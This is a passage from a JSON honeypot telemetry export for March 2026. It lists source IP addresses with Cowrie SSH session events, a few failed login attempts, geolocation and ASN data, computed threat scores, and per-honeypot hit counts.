        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T06:46:47+00:00",
        "last_seen_30d": "2026-03-21T18:12:17.781000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 48,
        "ConPot": 6,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "66.132.186.167": {
      "attack_count": 6,
      "first_seen": "2026-03-30T13:01:52.049Z",
      "last_seen": "2026-03-30T13:02:26.592Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 43.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.3,
        "persistence": 7.5,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 9,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-22T15:40:44+00:00",
        "last_seen_30d": "2026-03-30T14:59:17.272000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6,
        "Honeytrap": 4
      }
    },
    "185.93.89.122": {
      "attack_count": 5,
      "first_seen": "2026-03-05T23:46:53.973Z",
      "last_seen": "2026-03-05T23:46:56.353Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "shuf"
      ],
      "passwords_attempted": [
        " 'ZOM-*': No such file or directory"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:15:51.817000+00:00",
        "last_seen_30d": "2026-03-05T23:48:04.777000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "194.164.169.12": {
      "attack_count": 5,
      "first_seen": "2026-03-27T06:58:09.538Z",
      "last_seen": "2026-03-27T06:58:12.487Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "test001"
      ],
      "passwords_attempted": [
        "test001"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T06:58:09.538000+00:00",
        "last_seen_30d": "2026-03-27T06:59:22.394000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "38.188.160.25": {
      "attack_count": 5,
      "first_seen": "2026-03-10T23:03:11.827Z",
      "last_seen": "2026-03-10T23:03:14.220Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "muscle"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:03:11.827000+00:00",
        "last_seen_30d": "2026-03-10T23:04:23.238000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "167.71.22.47": {
      "attack_count": 4,
      "first_seen": "2026-03-31T18:14:12.409Z",
      "last_seen": "2026-03-31T18:14:13.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T18:14:12.409000+00:00",
        "last_seen_30d": "2026-03-31T18:15:16.614000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "180.108.64.6": {
      "attack_count": 4,
      "first_seen": "2026-03-21T14:12:15.316Z",
      "last_seen": "2026-03-21T14:14:15.319Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T14:12:15.316000+00:00",
        "last_seen_30d": "2026-03-21T14:24:22.489000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "198.235.24.249": {
      "attack_count": 4,
      "first_seen": "2026-03-26T22:42:13.660Z",
      "last_seen": "2026-03-26T22:42:17.506Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 30,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T08:13:16+00:00",
        "last_seen_30d": "2026-03-31T07:57:09.041000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96,
        "Honeytrap": 32,
        "Adbhoney": 4,
        "Cowrie": 4,
        "CitrixHoneypot": 1,
        "Dionaea": 1
      }
    },
    "205.210.31.31": {
      "attack_count": 4,
      "first_seen": "2026-03-23T16:57:24.010Z",
      "last_seen": "2026-03-23T16:57:27.759Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 56.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.3,
        "persistence": 21.7,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 26,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T13:39:22+00:00",
        "last_seen_30d": "2026-03-27T10:36:10.388000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Honeytrap": 6,
        "Cowrie": 4
      }
    },
    "34.14.7.175": {
      "attack_count": 4,
      "first_seen": "2026-03-16T09:51:19.102Z",
      "last_seen": "2026-03-16T09:51:20.457Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T09:51:19.102000+00:00",
        "last_seen_30d": "2026-03-16T09:52:28.935000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "54.196.157.167": {
      "attack_count": 4,
      "first_seen": "2026-03-07T00:55:07.317Z",
      "last_seen": "2026-03-07T00:55:11.943Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-07T00:55:07.317000+00:00",
        "last_seen_30d": "2026-03-09T00:56:28.542000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4,
        "Honeytrap": 1
      }
    },
    "64.226.80.162": {
      "attack_count": 4,
      "first_seen": "2026-03-29T04:31:08.264Z",
      "last_seen": "2026-03-29T04:31:08.947Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T04:31:08.264000+00:00",
        "last_seen_30d": "2026-03-29T04:32:14.246000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "91.224.92.108": {
      "attack_count": 4,
      "first_seen": "2026-03-04T16:05:26.771Z",
      "last_seen": "2026-03-04T16:05:29.040Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T16:05:26.771000+00:00",
        "last_seen_30d": "2026-03-04T16:06:31.312000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "64.62.197.167": {
      "attack_count": 3,
      "first_seen": "2026-03-24T03:52:46.759Z",
      "last_seen": "2026-03-24T03:52:46.761Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 93.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 239,
        "days_active_30d": 30,
        "ports_targeted_30d": 78,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T05:21:18+00:00",
        "last_seen_30d": "2026-03-31T06:16:07.907000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 146,
        "Honeytrap": 82,
        "Cowrie": 3,
        "Dionaea": 3,
        "Adbhoney": 2,
        "Honeyaml": 2,
        "CitrixHoneypot": 1
      }
    },
    "65.49.1.132": {
      "attack_count": 3,
      "first_seen": "2026-03-07T08:38:33.535Z",
      "last_seen": "2026-03-07T08:38:33.537Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 93.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 236,
        "days_active_30d": 30,
        "ports_targeted_30d": 76,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T07:34:14+00:00",
        "last_seen_30d": "2026-03-31T13:48:35.810000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 144,
        "Honeytrap": 83,
        "Cowrie": 3,
        "Dionaea": 3,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1
      }
    },
    "115.132.13.72": {
      "attack_count": 2,
      "first_seen": "2026-03-27T04:01:55.071Z",
      "last_seen": "2026-03-27T04:02:08.506Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Cyberjaya",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T04:01:55.071000+00:00",
        "last_seen_30d": "2026-03-27T04:03:16.384000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.163.206.172": {
      "attack_count": 2,
      "first_seen": "2026-03-10T22:07:30.965Z",
      "last_seen": "2026-03-10T22:08:01.465Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T22:07:30.965000+00:00",
        "last_seen_30d": "2026-03-10T22:09:06.824000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "119.246.42.139": {
      "attack_count": 2,
      "first_seen": "2026-03-22T15:43:48.968Z",
      "last_seen": "2026-03-22T15:43:55.091Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9269,
      "as_org": "Hong Kong Broadband Network Ltd.",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T15:43:48.968000+00:00",
        "last_seen_30d": "2026-03-22T15:44:55.829000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "122.116.174.234": {
      "attack_count": 2,
      "first_seen": "2026-03-18T10:44:51.676Z",
      "last_seen": "2026-03-18T10:45:22.420Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T10:44:51.676000+00:00",
        "last_seen_30d": "2026-03-18T10:46:29.187000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "139.144.31.47": {
      "attack_count": 2,
      "first_seen": "2026-03-27T01:01:46.618Z",
      "last_seen": "2026-03-27T01:02:46.436Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 64.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.9,
        "persistence": 21.7,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 26,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T09:13:02.716000+00:00",
        "last_seen_30d": "2026-03-29T05:46:54.622000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 42,
        "Cowrie": 2
      }
    },
    "165.245.177.218": {
      "attack_count": 2,
      "first_seen": "2026-03-15T12:24:08.717Z",
      "last_seen": "2026-03-15T12:24:08.925Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T03:44:42.158000+00:00",
        "last_seen_30d": "2026-03-15T12:25:12.373000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 2
      }
    },
    "175.143.9.103": {
      "attack_count": 2,
      "first_seen": "2026-03-09T05:12:02.022Z",
      "last_seen": "2026-03-09T05:12:15.139Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T05:12:02.022000+00:00",
        "last_seen_30d": "2026-03-09T05:13:22.260000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.69.99.127": {
      "attack_count": 2,
      "first_seen": "2026-03-22T19:10:33.559Z",
      "last_seen": "2026-03-22T19:10:50.464Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Cherepovets",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T19:10:33.559000+00:00",
        "last_seen_30d": "2026-03-22T19:11:54.778000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.90.183.0": {
      "attack_count": 2,
      "first_seen": "2026-03-14T11:11:45.156Z",
      "last_seen": "2026-03-14T11:12:15.570Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Kostanay",
      "asn": 9198,
      "as_org": "JSC Kazakhtelecom",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T11:11:45.156000+00:00",
        "last_seen_30d": "2026-03-14T11:13:22.460000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.235.24.119": {
      "attack_count": 2,
      "first_seen": "2026-03-31T22:56:58.688Z",
      "last_seen": "2026-03-31T22:56:58.852Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 29,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T02:03:38+00:00",
        "last_seen_30d": "2026-03-31T22:58:02.880000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 31,
        "ConPot": 5,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "2.238.250.154": {
      "attack_count": 2,
      "first_seen": "2026-03-22T13:44:36.812Z",
      "last_seen": "2026-03-22T13:44:50.157Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 12874,
      "as_org": "Fastweb",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T13:44:36.812000+00:00",
        "last_seen_30d": "2026-03-22T13:45:54.136000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.167.18.117": {
      "attack_count": 2,
      "first_seen": "2026-03-05T14:53:52.972Z",
      "last_seen": "2026-03-05T14:54:23.689Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Changwon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T14:53:52.972000+00:00",
        "last_seen_30d": "2026-03-05T14:55:30.790000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "39.61.42.36": {
      "attack_count": 2,
      "first_seen": "2026-03-03T23:57:26.869Z",
      "last_seen": "2026-03-03T23:57:41.494Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:57:26.869000+00:00",
        "last_seen_30d": "2026-03-03T23:58:49.190000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.39.87": {
      "attack_count": 2,
      "first_seen": "2026-03-21T13:38:46.143Z",
      "last_seen": "2026-03-21T13:38:59.218Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
